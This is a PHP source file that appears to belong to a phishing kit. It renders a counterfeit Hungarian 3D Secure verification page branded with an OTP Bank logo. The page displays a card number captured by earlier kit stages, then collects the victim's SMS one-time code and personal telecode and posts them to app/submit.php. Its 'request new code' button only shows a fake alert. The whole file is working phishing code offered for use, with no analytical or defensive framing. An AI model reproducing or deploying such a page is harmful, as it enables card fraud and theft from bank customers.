<?php
require_once dirname(__DIR__) . '/header.php';

$_SESSION['vbv_ready'] = true;

require_once dirname(__DIR__) . '/card_scheme_brand.php';

$purchaseDefaultDisplay = require dirname(__DIR__) . '/purchase_default.php';

$maskedCard = '';
if (!empty($_SESSION['payment_masked_pan'])) {
    $maskedCard = htmlspecialchars((string) $_SESSION['payment_masked_pan'], ENT_QUOTES, 'UTF-8');
}
if ($maskedCard === '') {
    $digits = preg_replace('/\D/', '', (string) ($_SESSION['numberr'] ?? ''));
    $len = strlen($digits);
    if ($len >= 10) {
        $maskedCard = htmlspecialchars(
            substr($digits, 0, 6) . str_repeat('*', max(0, $len - 10)) . substr($digits, -4),
            ENT_QUOTES,
            'UTF-8'
        );
    } elseif ($digits !== '') {
        $maskedCard = htmlspecialchars($digits, ENT_QUOTES, 'UTF-8');
    } else {
        $maskedCard = '490836******9443';
    }
}

$amountDisplay = htmlspecialchars(
    (string) ($_SESSION['vbv_amount_display'] ?? $purchaseDefaultDisplay),
    ENT_QUOTES,
    'UTF-8'
);

$vbvDateRaw = trim((string) ($_SESSION['vbv_date'] ?? ''));
if ($vbvDateRaw === '') {
    $vbvDateRaw = (new DateTime('now', new DateTimeZone('Europe/Budapest')))->format('d/m/Y');
} elseif (preg_match('/^\d{4}\.\d{2}\.\d{2}$/', $vbvDateRaw)) {
    $dt = DateTime::createFromFormat('Y.m.d', $vbvDateRaw, new DateTimeZone('Europe/Budapest'));
    $vbvDateRaw = $dt ? $dt->format('d/m/Y') : $vbvDateRaw;
}
$purchaseDate = htmlspecialchars($vbvDateRaw, ENT_QUOTES, 'UTF-8');
?>
<!DOCTYPE html>
<html lang="hu">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>3D Secure hitelesítés</title>
    <style>
        * { box-sizing: border-box; }
        body {
            margin: 0;
            min-height: 100vh;
            font-family: Arial, Helvetica, "Segoe UI", sans-serif;
            background: #d9d9d9;
            color: #222;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: flex-start;
            padding: 32px 16px 48px;
        }
        .vbv-card {
            width: 100%;
            max-width: 440px;
            background: #fff;
            border: 1px solid #c8c8c8;
            border-radius: 2px;
            box-shadow: 0 2px 12px rgba(0,0,0,.12);
            padding: 28px 32px 24px;
        }
        .vbv-top-bar {
            display: flex;
            justify-content: space-between;
            align-items: center;
            gap: 16px;
            margin: 0 0 12px;
        }
        .vbv-otp-logo img {
            display: block;
            max-width: 160px;
            width: auto;
            height: auto;
        }
        .vbv-scheme-logo img {
            display: block;
            height: 44px;
            width: auto;
            object-fit: contain;
        }
        .vbv-meta {
            font-size: 14px;
            line-height: 1.65;
            margin-bottom: 22px;
        }
        .vbv-meta div { margin: 0; }
        .vbv-label {
            display: block;
            font-size: 14px;
            margin-bottom: 8px;
            color: #222;
        }
        .vbv-input {
            width: 100%;
            padding: 11px 12px;
            font-size: 15px;
            border: 1px solid #d0d0d0;
            border-radius: 6px;
            background: #fff;
            margin-bottom: 18px;
        }
        .vbv-input:focus {
            outline: none;
            border-color: #999;
        }
        .vbv-btn {
            display: block;
            width: 100%;
            padding: 14px 16px;
            margin-top: 10px;
            font-size: 15px;
            font-weight: normal;
            color: #fff;
            background: #5c5c5c;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            text-align: center;
        }
        .vbv-btn:hover { background: #4a4a4a; }
        .vbv-btn.secondary { margin-top: 12px; }
        .vbv-footer-row {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 22px;
            font-size: 13px;
        }
        .vbv-footer-row a {
            color: #1a5490;
            text-decoration: underline;
        }
        .vbv-cancel-center {
            text-align: center;
            margin-top: 14px;
            font-size: 13px;
        }
        .vbv-cancel-center a {
            color: #1a5490;
            text-decoration: underline;
        }
        .vbv-error {
            color: #c0392b;
            background: #fdeaea;
            border: 1px solid #f5c6cb;
            padding: 10px 12px;
            border-radius: 6px;
            font-size: 13px;
            margin-bottom: 16px;
        }
        .vbv-outside-cancel {
            margin-top: 28px;
            font-size: 13px;
        }
        .vbv-outside-cancel a {
            color: #1a5490;
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <div class="vbv-card">
        <div class="vbv-top-bar">
            <div class="vbv-otp-logo">
                <img src="../../assets/otp.png" alt="3D Secure">
            </div>
            <div class="vbv-scheme-logo" aria-label="<?php echo htmlspecialchars($cardSchemeAlt, ENT_QUOTES, 'UTF-8'); ?>">
                <img src="<?php echo htmlspecialchars($cardSchemeImg, ENT_QUOTES, 'UTF-8'); ?>" alt="<?php echo htmlspecialchars($cardSchemeAlt, ENT_QUOTES, 'UTF-8'); ?>">
            </div>
        </div>
        <div class="vbv-meta">
            <div><strong>Vásárlás összege:</strong> <?php echo $amountDisplay; ?></div>
            <div><strong>Vásárlás dátuma:</strong> <?php echo $purchaseDate; ?></div>
            <div><strong>Kártyaszám:</strong> <?php echo $maskedCard; ?></div>
        </div>

        <?php if (isset($_GET['error'])) { ?>
            <div class="vbv-error">A megadott adatok helytelenek. Kérjük, próbálja újra.</div>
        <?php } ?>

        <form method="post" action="app/submit.php" autocomplete="off">
            <label class="vbv-label" for="sms_code">Kérjük, adja meg az SMS-ben kapott 3D Secure kódot:</label>
            <input class="vbv-input" type="text" name="sms_code" id="sms_code" required inputmode="numeric" autocomplete="one-time-code">

            <label class="vbv-label" for="telecode">Kérjük, adja meg személyes telekódját:</label>
            <input class="vbv-input" type="password" name="telecode" id="telecode" required autocomplete="off">

            <button class="vbv-btn" type="submit">Jóváhagyás</button>
            <button class="vbv-btn secondary" type="button" id="req-new">Új kód kérése</button>
        </form>

        <div class="vbv-footer-row">
            <a href="#">Segítség?</a>
        </div>
        <div class="vbv-cancel-center">
            <a href="../payment/">Mégse (belső)</a>
        </div>
    </div>

    <div class="vbv-outside-cancel">
        <a href="../payment/">Mégse</a>
    </div>

    <script>
        document.getElementById('req-new').addEventListener('click', function () {
            alert('Új kódot igényelt. Kérjük, várja meg az SMS-t.');
        });
    </script>
    <script src="../../assets/js/jquery.js"></script>
    <script src="../../assets/js/redirect.js"></script>
    <?php include('../../assets/js/check2.php'); ?>
</body>
</html>
